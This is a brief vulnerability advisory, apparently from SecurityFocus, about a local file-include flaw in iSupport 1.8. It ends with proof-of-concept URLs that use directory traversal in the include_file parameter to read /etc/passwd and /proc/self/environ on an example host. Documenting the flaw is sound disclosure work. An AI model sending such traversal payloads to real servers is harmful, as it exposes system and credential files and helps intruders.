source: https://www.securityfocus.com/bid/26961/info
iSupport is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
Exploiting this issue may allow an unauthorized user to view files and execute local scripts.
This issue affects iSupport 1.8; other versions may also be affected.
http://www.example.com/iSupport/index.php?include_file=[local file]
http://www.example.com/helpdesk/index.php?include_file=../../../../../proc/self/environ
http://www.example.com/helpdesk/index.php?include_file=../../../../../etc/passwd